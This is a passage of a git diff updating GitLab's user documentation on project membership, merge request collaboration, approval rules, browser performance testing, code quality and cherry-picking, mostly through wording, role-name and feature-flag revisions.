a/doc/user/project/members/img/access_requests_management_v13_9.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_email_accept_v13_9.png b/doc/user/project/members/img/add_user_email_accept_v13_9.png Binary files differdeleted file mode 100644 index a6b303e05ca..00000000000 --- a/doc/user/project/members/img/add_user_email_accept_v13_9.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_email_ready_v13_8.png b/doc/user/project/members/img/add_user_email_ready_v13_8.png Binary files differdeleted file mode 100644 index a610b46a176..00000000000 --- a/doc/user/project/members/img/add_user_email_ready_v13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/add_user_email_search_v13_8.png b/doc/user/project/members/img/add_user_email_search_v13_8.png Binary files differdeleted file mode 100644 index 934cf19bd3d..00000000000 --- a/doc/user/project/members/img/add_user_email_search_v13_8.png +++ /dev/null diff --git a/doc/user/project/members/img/withdraw_access_request_button.png b/doc/user/project/members/img/withdraw_access_request_button.png Binary files differdeleted file mode 100644 index e5a8fe0b356..00000000000 --- a/doc/user/project/members/img/withdraw_access_request_button.png +++ /dev/null diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index 7dc1a9c612f..ab33ff0f6d8 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Members of a project +# Members of a project **(FREE)** Members are the users and groups who have access to your project. @@ -17,12 +17,13 @@ to perform actions. Prerequisite: -- You must have maintainer or owner [permissions](../../permissions.md). +- You must have the [Maintainer or Owner role](../../permissions.md). To add a user to a project: 1. Go to your project and select **Members**. -1. On the **Invite member** tab, under **GitLab member of Email address**, type the username or email address. +1. On the **Invite member** tab, under **GitLab member or Email address**, type the username or email address. + In GitLab 13.11 and later, you can [replace this form with a modal window](#add-a-member-modal-window). 1. Select a [role](../../permissions.md). 1. Optional. Choose an expiration date. On that date, the user can no longer access the project. 1. Select **Invite**. @@ -30,15 +31,24 @@ To add a user to a project: If the user has a GitLab account, they are added to the members list. If you used an email address, the user receives an email. +If the invitation is not accepted, GitLab sends reminder emails two, +five, and ten days later. Unaccepted invites are automatically +deleted after 90 days. + +If the user does not have a GitLab account, they are prompted to create an account +using the email address the invitation was sent to. + ## Add groups to a project -When you assign a group to a project, each user in the group gets access to the project, -based on the role they're assigned in the group. However, the user's access is also -limited by the maximum role you choose when you invite the group. +When you add a group to a project, each user in the group gets access to the project. +Each user's access is based on: + +- The role they're assigned in the group. +- The maximum role you choose when you invite the group. Prerequisite: -- You must have maintainer or owner [permissions](../../permissions.md). +- You must have the [Maintainer or Owner role](../../permissions.md). To add groups to a project: @@ -61,7 +71,7 @@ retain the same permissions as the project you import them from. Prerequisite: -- You must have maintainer or owner [permissions](../../permissions.md). +- You must have the [Maintainer or Owner role](../../permissions.md). To import users: @@ -74,20 +84,39 @@ A success message is displayed and the new members are now displayed in the list ## Inherited membership -When your project belongs to a group, group members inherit the membership and permission -level for the project from the group. +When your project belongs to a group, group members inherit their role +from the group.  -From the image above, we can deduce the following things: +In this example: + +- Three members have access to the project. +- **User 0** is a Reporter and has inherited their role from the **demo** group, + which contains the project. +- **User 1** belongs directly to the project. In the **Source** column, they are listed + as a **Direct member**. +- **Administrator** is the [Owner](../../permissions.md) and member of all groups. + They have inherited their role from the **demo** group. + +## Remove a member from a project + +If a user is a direct member of a project, you can remove them. +If membership is inherited from a parent group, then the member can be removed only from the parent +group itself. -- There are 3 members that have access to the project. -- User0 is a Reporter and has inherited their permissions from group `demo` - which contains current project. -- User1 is shown as a **Direct member** in the **Source** column, therefore they belong directly - to the project we're inspecting. -- Administrator is the Owner and member of **all** groups and for that reason, - there is an indication of an ancestor group and inherited Owner permissions. +Prerequisite: + +- You must have the [Owner role](../../permissions.md). +- Optional. Unassign the member from all issues and merge requests that + are assigned to them. + +To remove a member from a project: + +1. Go to your project and select **Members**. +1. Next to the project member you want to remove, select **Remove member** **{remove}**. +1. Optional. In the confirmation box, select the **Also unassign this user from related issues and merge requests** checkbox. +1. Select **Remove member**. ## Filter and sort members @@ -95,22 +124,21 @@ From the image above, we can deduce the following things: > - [Improved](https://gitlab.com/groups/gitlab-org/-/epics/4901) in GitLab 13.9. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299954) in GitLab 13.10. -The following sections illustrate how you can filter and sort members in a project. To view these options, -navigate to your desired project, go to **Members**, and include the noted search terms. - -### Membership filter - -By default, inherited and direct members are displayed. The membership filter can be used to display only inherited or only direct members. +You can filter and sort members in a project. -#### Display inherited members +### Display inherited members -To display inherited members, include `Membership` `=` `Inherited` in the search text box. +1. Go to your project and select **Members**. +1. In the **Filter members** box, select `Membership` `=` `Inherited`. +1. Press Enter.  -#### Display direct members +### Display direct members -To display direct members, include `Membership` `=` `Direct` in the search text box. +1. Go to your project and select **Members**. +1. In the **Filter members** box, select `Membership` `=` `Direct`. +1. Press Enter.  @@ -126,36 +154,41 @@ You can sort members by **Account**, **Access granted**, **Max role**, or **Last  -## Invite people using their e-mail address +## Request access to a project -NOTE: -In GitLab 13.11, you can [replace this form with a modal window](#add-a-member-modal-window). +GitLab users can request to become a member of a project. -If a user you want to give access to doesn't have an account on your GitLab -instance, you can invite them just by typing their e-mail address in the -user search field. +1. Go to the project you'd like to be a member of. +1. By the project name, select **Request Access**. - + -As you can imagine, you can mix inviting multiple people and adding existing -GitLab users to the project. +An email is sent to the most recently active project maintainers. +Up to ten project maintainers are notified. +Any project maintainer can approve or decline the request. - +If a project does not have any maintainers, the notification is sent to the +most recently active owners of the project's group. + +If you change your mind before your request is approved, select +**Withdraw Access Request**. -Once done, hit **Add users to project** and watch that there is a new member -with the e-mail address we used above. From there on, you can resend the -invitation, change their access level, or even delete them. +## Prevent users from requesting access to a project - +You can prevent users from requesting access to a project. + +Prerequisite: -While unaccepted, the system automatically sends reminder emails on the second, fifth, -and tenth day after the invitation was initially sent. +- You must be the project owner. -After the user accepts the invitation, they are prompted to create a new -GitLab account using the same e-mail address the invitation was sent to. +1. Go to the project and select **Settings > General**. +1. Expand the **Visibility, project features, permissions** section. +1. Under **Project visibility**, select **Users can request access**. +1. Select **Save changes**. -NOTE: -Unaccepted invites are automatically deleted after 90 days. +## Share a project with a group + +Instead of adding users one by one, you can [share a project with an entire group](share_project_with_groups.md). ### Add a member modal window @@ -172,10 +205,10 @@ This feature might not be available to you. Check the **version history** note a In GitLab 13.11, you can optionally replace the form to add a member with a modal window. To add a member after enabling this feature: -1. Go to your project's page. -1. In the left sidebar, go to **Members**, and then select **Invite members**. -1. Enter an email address, and select a role permission for this user. -1. (Optional) Select an **Access expiration date**. +1. Go to your project and select **Members**. +1. Select **Invite members**. +1. Enter an email address and select a role. +1. Optional. Select an **Access expiration date**. 1. Select **Invite**. ### Enable or disable modal window **(FREE SELF)** @@ -196,65 +229,3 @@ To disable it: ```ruby Feature.disable(:invite_members_group_modal) ``` - -## Project membership and requesting access - -Project owners can : - -- Allow non-members to request access to the project. -- Prevent non-members from requesting access. - -To configure this, go to the project settings and click on **Allow users to request access**. - -GitLab users can request to become a member of a project. Go to the project you'd -like to be a member of and click the **Request Access** button on the right -side of your screen. - - - -After access is requested: - -- Up to ten project maintainers are notified of the request via email. - Email is sent to the most recently active project maintainers. -- Any project maintainer can approve or decline the request on the members page. - -NOTE: -If a project does not have any maintainers, the notification is sent to the -most recently active owners of the project's group. - - - -If you change your mind before your request is approved, just click the -**Withdraw Access Request** button. - - - -## Share project with group - -Alternatively, you can [share a project with an entire group](share_project_with_groups.md) instead of adding users one by one. - -## Remove a member from the project - -Only users with permissions of [Owner](../../permissions.md#group-members-permissions) can manage -project members. - -You can remove a user from the project if the given member has a direct membership in the project. -If membership is inherited from a parent group, then the member can be removed only from the parent -group itself. - -When removing a member, you can decide whether to unassign the user from all issues and merge -requests they are currently assigned or leave the assignments as they are. - -- **Unassigning the removed member** from all issues and merge requests might be helpful when a user - is leaving a private project and you wish to revoke their access to any issues and merge requests - they are assigned. -- **Keeping the issues and merge requests assigned** might be helpful for projects that accept public - contributions where a user doesn't have to be a member to be able to contribute to issues and - merge requests. - -To remove a member from a project: - -1. Go to your project and select **Members**. -1. Next to the project member you want to remove, select **Remove member** **{remove}**. -1. Optional. In the confirmation box, select the **Also unassign this user from related issues and merge requests** checkbox. -1. Select **Remove member**. diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index 085e4db0b94..caef5ef60b7 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -60,7 +60,7 @@ To share a project after enabling this feature: 1. Go to your project's page. 1. In the left sidebar, go to **Members**, and then select **Invite a group**. -1. Select a group, and select a **Max access level**. +1. Select a group, and select a **Max role**. 1. (Optional) Select an **Access expiration date**. 1. Select **Invite**. diff --git a/doc/user/project/merge_requests/accessibility_testing.md b/doc/user/project/merge_requests/accessibility_testing.md index 09770bd447d..76aff18b00d 100644 --- a/doc/user/project/merge_requests/accessibility_testing.md +++ b/doc/user/project/merge_requests/accessibility_testing.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Accessibility Testing +# Accessibility testing **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25144) in GitLab 12.8. @@ -17,11 +17,11 @@ impact of pending code changes. GitLab uses [pa11y](https://pa11y.org/), a free and open source tool for measuring the accessibility of web sites, and has built a simple -[CI job template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml). +[CI job template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml). This job outputs accessibility violations, warnings, and notices for each page analyzed to a file called `accessibility`. -## Accessibility Merge Request widget +## Accessibility merge request widget > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39425) in GitLab 13.0 behind the disabled [feature flag](../../../administration/feature_flags.md) `:accessibility_report_view`. > - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217372) in GitLab 13.1. @@ -29,7 +29,7 @@ analyzed to a file called `accessibility`. In addition to the report artifact that is created, GitLab will also show the Accessibility Report in the merge request widget area: - + ## Configure Accessibility Testing @@ -38,7 +38,7 @@ on your code with GitLab CI/CD using the [GitLab Accessibility Docker image](htt For GitLab 12.9 and later, to define the `a11y` job, you must [include](../../../ci/yaml/README.md#includetemplate) the -[`Accessibility.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml) +[`Accessibility.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml) included with your GitLab installation, as shown below. Add the following to your `.gitlab-ci.yml` file: @@ -67,7 +67,7 @@ For GitLab 12.10 and earlier, the [artifact generated is named `accessibility.js NOTE: For GitLab versions earlier than 12.9, you can use `include:remote` and use a -link to the [current template in `master`](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml) +link to the [current template in the default branch](https://gitlab.com/gitlab-org/gitlab/-/raw/master/lib/gitlab/ci/templates/Verify/Accessibility.gitlab-ci.yml) NOTE: The job definition provided by the template does not support Kubernetes yet. diff --git a/doc/user/project/merge_requests/allow_collaboration.md b/doc/user/project/merge_requests/allow_collaboration.md index 5917d67c398..63d5119c1b4 100644 --- a/doc/user/project/merge_requests/allow_collaboration.md +++ b/doc/user/project/merge_requests/allow_collaboration.md @@ -24,19 +24,17 @@ of the merge request. ## Enabling commit edits from upstream members In [GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/23308), -this setting is enabled by default. It can be changed by users with Developer -permissions to the source project. Once enabled, upstream members can -retry the pipelines and jobs of the merge request: +this setting is enabled by default. It can be changed by users with the +Developer [role](../../permissions.md) for the source project. After it's enabled, +upstream members can retry the pipelines and jobs of the merge request: -1. While creating or editing a merge request, select the checkbox **Allow - commits from members who can merge to the target branch**. +1. While creating or editing a merge request, scroll to **Contribution** and + then select the **Allow commits from members who can merge to the target branch**. + checkbox. +1. Finish creating your merge request. -  - -1. Once the merge request is created, you can see that commits from members who - can merge to the target branch are allowed. - -  +After you create the merge request, the merge request widget displays a message: +**Members who can merge are allowed to add commits.** ## Pushing to the fork as the upstream member @@ -48,41 +46,39 @@ Assuming that: - The forked project URL is `git@gitlab.com:thedude/awesome-project.git`. - The branch of the merge request is `update-docs`. -Here's how the process would look like: - -1. First, you need to get the changes that the merge request has introduced. - Click the **Check out branch** button that has some pre-populated - commands that you can run. - -  +To find and work with the changes from the fork: -1. Use the copy button to copy the first command and paste them - in your terminal: +1. Open the merge request page, and select the **Overview** tab. +1. Scroll to the merge request widget, and select **Check out branch**: +  +1. In the modal window, select **{copy-to-clipboard}** (**Copy**) for step 1 + to copy the `git fetch` and `git checkout` instructions to your clipboard. + Paste the commands (which look like this example) into your terminal: ```shell git fetch git@gitlab.com:thedude/awesome-project.git update-docs git checkout -b thedude-awesome-project-update-docs FETCH_HEAD ``` - This fetches the branch of the forked project and then create a local branch + These commands fetch the branch from the forked project, and create a local branch based off the fetched branch. -1. Make any changes you want and commit. -1. Push to the forked project: +1. Make your changes to the local copy of the branch, and then commit them. +1. In your terminal, push your local changes back up to the forked project. This + command pushes the local branch `thedude-awesome-project-update-docs` to the + `update-docs` branch of the `git@gitlab.com:thedude/awesome-project.git` repository: ```shell git push git@gitlab.com:thedude/awesome-project.git thedude-awesome-project-update-docs:update-docs ``` - Note the colon (`:`) between the two branches. The above command pushes the - local branch `thedude-awesome-project-update-docs` to the - `update-docs` branch of the `git@gitlab.com:thedude/awesome-project.git` repository. + Note the colon (`:`) between the two branches. ## Troubleshooting ### Pipeline status unavailable from MR page of forked project -When a user forks a project, the permissions on the forked copy are not copied over +When a user forks a project, the permissions of the forked copy are not copied from the original project. The creator of the fork must grant permissions to the forked copy before members in the upstream project can view or merge the changes in the merge request. diff --git a/doc/user/project/merge_requests/approvals/index.md b/doc/user/project/merge_requests/approvals/index.md index ac48e44da52..3c47c2af344 100644 --- a/doc/user/project/merge_requests/approvals/index.md +++ b/doc/user/project/merge_requests/approvals/index.md @@ -42,7 +42,7 @@ for more control of the level of oversight and security your project needs, incl - [Require security team approval.](settings.md#security-approvals-in-merge-requests) You can configure your merge request approval rules and settings through the GitLab -user interface or [with the API](../../../../api/merge_request_approvals.md). +user interface or with the [Merge request approvals API](../../../../api/merge_request_approvals.md). ## Approve a merge request @@ -97,36 +97,6 @@ Without the approvals, the work cannot merge. Required approvals enable multiple - [Require approval from a security team](../../../application_security/index.md#security-approvals-in-merge-requests) before merging code that could introduce a vulnerability. **(ULTIMATE)** -## Notify external services **(ULTIMATE)** - -> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3869) in GitLab Ultimate 13.10. -> - [Deployed behind a feature flag](../../../feature_flags.md), disabled by default. -> - Disabled on GitLab.com. -> - Not recommended for production use. -> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../../../api/merge_request_approvals.md#enable-or-disable-external-project-level-mr-approvals). **(ULTIMATE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. - -You can create an external approval rule to integrate approvals with third-party tools. -When users create, change, or close merge requests, GitLab sends a notification. -The users of the third-party tools can then approve merge requests from outside of GitLab. - -With this integration, you can integrate with third-party workflow tools, like -[ServiceNow](https://www.servicenow.co.uk/), or the custom tool of your choice. -You can modify your external approval rules -[by using the REST API](../../../../api/merge_request_approvals.md#external-project-level-mr-approvals). - -The lack of an external approval doesn't block the merging of a merge request. - -When [approval rule overrides](settings.md#prevent-overrides-of-default-approvals) are allowed, -changes to default approval rules will **not** be applied to existing -merge requests, except for changes to the [target branch](rules.md#approvals-for-protected-branches) -of the rule. - -To learn more about use cases, feature discovery, and development timelines, -see the [External API approval rules epic](https://gitlab.com/groups/gitlab-org/-/epics/3869). - ## Related links - [Merge request approvals API](../../../../api/merge_request_approvals.md) diff --git a/doc/user/project/merge_requests/approvals/rules.md b/doc/user/project/merge_requests/approvals/rules.md index 32f0160771f..1e4b0f659ee 100644 --- a/doc/user/project/merge_requests/approvals/rules.md +++ b/doc/user/project/merge_requests/approvals/rules.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, concepts --- -# Merge request approval rules +# Merge request approval rules **(FREE)** Approval rules define how many [approvals](index.md) a merge request must receive before it can be merged, and which users should do the approving. You can define approval rules: @@ -144,7 +144,7 @@ approve in these ways: [**Prevent committers approval**](settings.md#prevent-committers-from-approving-their-own-work) project setting. -### Code owners as eligible approvers +### Code owners as eligible approvers **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7933) in GitLab 11.5. > - Moved to GitLab Premium in 13.9. @@ -162,7 +162,7 @@ You can also [require code owner approval](../../protected_branches.md#protected-branches-approval-by-code-owners) for protected branches. **(PREMIUM)** -## Merge request approval segregation of duties +## Merge request approval segregation of duties **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/40491) in GitLab 13.4. > - Moved to GitLab Premium in 13.9. diff --git a/doc/user/project/merge_requests/approvals/settings.md b/doc/user/project/merge_requests/approvals/settings.md index 8769f6a7470..97e4b7da396 100644 --- a/doc/user/project/merge_requests/approvals/settings.md +++ b/doc/user/project/merge_requests/approvals/settings.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, concepts --- -# Merge request approval settings +# Merge request approval settings **(FREE)** You can configure the settings for [merge request approvals](index.md) to ensure the approval rules meet your use case. You can also configure diff --git a/doc/user/project/merge_requests/authorization_for_merge_requests.md b/doc/user/project/merge_requests/authorization_for_merge_requests.md index aa43d34cdd9..930df65f3fc 100644 --- a/doc/user/project/merge_requests/authorization_for_merge_requests.md +++ b/doc/user/project/merge_requests/authorization_for_merge_requests.md @@ -16,17 +16,17 @@ There are two main ways to have a merge request flow with GitLab: With the protected branch flow everybody works within the same GitLab project. -The project maintainers get Maintainer access and the regular developers get -Developer access. +The project maintainers get the [Maintainer role](../../permissions.md) and the regular developers +get Developer access. -The maintainers mark the authoritative branches as 'Protected'. +Maintainers mark the authoritative branches as 'Protected'. -The developers push feature branches to the project and create merge requests +Developers push feature branches to the project and create merge requests to have their feature branches reviewed and merged into one of the protected branches. -By default, only users with Maintainer access can merge changes into a protected -branch. +By default, only users with the [Maintainer role](../../permissions.md) can merge changes into a +protected branch. **Advantages** @@ -39,14 +39,14 @@ branch. ## Forking workflow -With the forking workflow the maintainers get Maintainer access and the regular +With the forking workflow, maintainers get the [Maintainer role](../../permissions.md) and regular developers get Reporter access to the authoritative repository, which prohibits them from pushing any changes to it. Developers create forks of the authoritative project and push their feature branches to their own forks. -To get their changes into master they need to create a merge request across +To get their changes into the default branch, they need to create a merge request across forks. **Advantages** diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md index b33919c7fbe..d11ad53a9d6 100644 --- a/doc/user/project/merge_requests/browser_performance_testing.md +++ b/doc/user/project/merge_requests/browser_performance_testing.md @@ -40,18 +40,18 @@ Consider the following workflow: ## How browser performance testing works First, define a job in your `.gitlab-ci.yml` file that generates the -[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance). +[Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance). GitLab then checks this report, compares key performance metrics for each page between the source and target branches, and shows the information in the merge request. -For an example Performance job, see +For an example Browser Performance job, see [Configuring Browser Performance Testing](#configuring-browser-performance-testing). NOTE: If the Browser Performance report has no data to compare, such as when you add the Browser Performance job in your `.gitlab-ci.yml` for the very first time, -the Browser Performance report widget doesn't show. It must have run at least -once on the target branch (`master`, for example), before it displays in a +the Browser Performance report widget doesn't display. It must have run at least +once on the target branch (`main`, for example), before it displays in a merge request targeting that branch.  @@ -70,27 +70,26 @@ using Docker-in-Docker. include: template: Verify/Browser-Performance.gitlab-ci.yml - performance: + browser_performance: variables: URL: https://example.com ``` WARNING: -In GitLab 14.0 and later, the job [is scheduled to be renamed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) -from `performance` to `browser_performance`. +In GitLab 13.12 and earlier, the job [was named](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) `performance`. The above example: -- Creates a `performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you +- Creates a `browser_performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you defined in `URL` to gather key metrics. - Uses a template that doesn't work with Kubernetes clusters. If you are using a Kubernetes cluster, - use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml) + use [`template: Jobs/Browser-Performance-Testing.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Browser-Performance-Testing.gitlab-ci.yml) instead. - Uses a CI/CD template that is included in all GitLab installations since 12.4. If you are using GitLab 12.3 or earlier, you must [add the configuration manually](#gitlab-versions-132-and-earlier). The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance), -and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsperformance) +and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/yaml/README.md#artifactsreportsbrowser_performance) that you can later download and analyze. This implementation always takes the latest Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled, you can view the report directly in your browser. @@ -108,7 +107,7 @@ makes on the given URL, and change the version: include: template: Verify/Browser-Performance.gitlab-ci.yml -performance: +browser_performance: variables: URL: https://www.sitespeed.io/ SITESPEED_VERSION: 13.2.0 @@ -127,7 +126,7 @@ if the `Total Score` metric degrades by 5 points or more: include: template: Verify/Browser-Performance.gitlab-ci.yml -performance: +browser_performance: variables: URL: https://example.com DEGRADATION_THRESHOLD: 5 @@ -140,13 +139,13 @@ The `Total Score` metric is based on sitespeed.io's [coach performance score](ht The above CI YAML configuration is great for testing against static environments, and it can be extended for dynamic environments, but a few extra steps are required: -1. The `performance` job should run after the dynamic environment has started. +1. The `browser_performance` job should run after the dynamic environment has started. 1. In the `review` job: 1. Generate a URL list file with the dynamic URL. 1. Save the file as an artifact, for example with `echo $CI_ENVIRONMENT_URL > environment_url.txt` in your job's `script`. 1. Pass the list as the URL environment variable (which can be a URL or a file containing URLs) - to the `performance` job. + to the `browser_performance` job. 1. You can now run the sitespeed.io container against the desired hostname and paths. @@ -176,7 +175,7 @@ review: except: - master -performance: +browser_performance: dependencies: - review variables: @@ -191,7 +190,7 @@ GitLab version: - In 13.2 the feature was renamed from `Performance` to `Browser Performance` with additional template CI/CD variables. -- In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml). +- In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml). - For 11.5 to 12.3 no template is available and the job has to be defined manually as follows: ```yaml diff --git a/doc/user/project/merge_requests/changes.md b/doc/user/project/merge_requests/changes.md index adcf4518209..e594f8048e3 100644 --- a/doc/user/project/merge_requests/changes.md +++ b/doc/user/project/merge_requests/changes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, reference --- -# Changes tab in merge requests +# Changes tab in merge requests **(FREE)** The **Changes** tab on a [merge request](index.md), below the main merge request details and next to the discussion tab, shows the changes to files between branches or commits. This view of changes to a @@ -70,21 +70,6 @@ merge request: This change overrides the choice you made in your user preferences and persists until you clear your browser's cookies or change this behavior again. -## Merge requests commit navigation - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18140) in GitLab 13.0. - -To seamlessly navigate among commits in a merge request: - -1. Select the **Commits** tab. -1. Select a commit to open it in the single-commit view. -1. Navigate through the commits by either: - - - Selecting **Prev** and **Next** buttons below the tab buttons. - - Using the <kbd>X</kbd> and <kbd>C</kbd> keyboard shortcuts. - - - ## Incrementally expand merge request diffs By default, the diff shows only the parts of a file which are changed. @@ -106,10 +91,6 @@ specific commit page.  -NOTE: -You can append `?w=1` while on the diffs page of a merge request to ignore any -whitespace changes. - ## Mark files as viewed > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51513) in GitLab 13.9. @@ -149,3 +130,42 @@ To disable it: ```ruby Feature.disable(:local_file_reviews) ``` + +## Show merge request conflicts in diff + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/232484) in GitLab 13.5. +> - [Deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-merge-request-conflicts-in-diff). **(FREE SELF)** + +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](../../feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. + +To avoid displaying the changes that are already on target branch in the diff, +we compare the merge request's source branch with HEAD of the target branch. + +When there are conflicts between the source and target branch, we show the +conflicts on the merge request diff as well: + + + +### Enable or disable merge request conflicts in diff **(FREE SELF)** + +Merge request conflicts in diff is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:display_merge_conflicts_in_diff) +``` + +To disable it: + +```ruby +Feature.disable(:display_merge_conflicts_in_diff) +``` diff --git a/doc/user/project/merge_requests/cherry_pick_changes.md b/doc/user/project/merge_requests/cherry_pick_changes.md index eaeef12444e..710638128f3 100644 --- a/doc/user/project/merge_requests/cherry_pick_changes.md +++ b/doc/user/project/merge_requests/cherry_pick_changes.md @@ -63,10 +63,7 @@ git cherry-pick -m 2 7a39eb0 ### Cherry-pick into a project > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21268) in GitLab 13.11. -> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cherry-picking-into-a-project). **(FREE SELF)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/324154) in GitLab 14.0 WARNING: This feature might not be available to you. Check the **version history** note above for details. @@ -81,24 +78,10 @@ merge request is from a fork: 1. (Optional) Select **Start a new merge request** if you're ready to create a merge request. 1. Click **Cherry-pick**. -### Enable or disable cherry-picking into a project **(FREE SELF)** +## Related links -Cherry-picking into a project is under development and not ready for production use. It is -deployed behind a feature flag that is **disabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can enable it. - -To enable it: - -```ruby -Feature.enable(:pick_into_project) -``` - -To disable it: - -```ruby -Feature.disable(:pick_into_project) -``` +- The [Commits API](../../../api/commits.md) enables you to add custom messages + to changes you cherry-pick through the API. <!-- ## Troubleshooting diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index 284d66dd591..27642a9bd5d 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -1,6 +1,6 @@ --- -stage: Verify -group: Testing +stage: Secure +group: Static Analysis info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -54,20 +54,25 @@ See also the Code Climate list of [Supported Languages for Maintainability](http > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.11. > - [Deployed behind a feature flag](../../../user/feature_flags.md), disabled by default. > - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12. +> - [Feature enhanced](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0. Changes to files in merge requests can cause Code Quality to fall if merged. In these cases, -an indicator is displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view. For example: +the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example: + + + +Previously, an indicator was displayed (**{information-o}** **Code Quality**) on the file in the merge request's diff view:  -To disable this feature, a GitLab administrator can run the following in a +To switch to the previous version of this feature, a GitLab administrator can run the following in a [Rails console](../../../administration/operations/rails_console.md): ```ruby # For the instance -Feature.disable(:codequality_mr_diff) +Feature.disable(:codequality_mr_diff_annotations) # For a single project -Feature.disable(:codequality_mr_diff, Project.find(<project id>)) +Feature.disable(:codequality_mr_diff_annotations, Project.find(<project id>)) ``` ## Use cases @@ -527,7 +532,7 @@ This can be due to multiple reasons: - You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to compare to yet, so no information can be displayed. It only displays after future merge requests have something to compare to. -- Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports have nothing to compare to. +- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), nothing is displayed. - The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD diff --git a/doc/user/project/merge_requests/commits.md 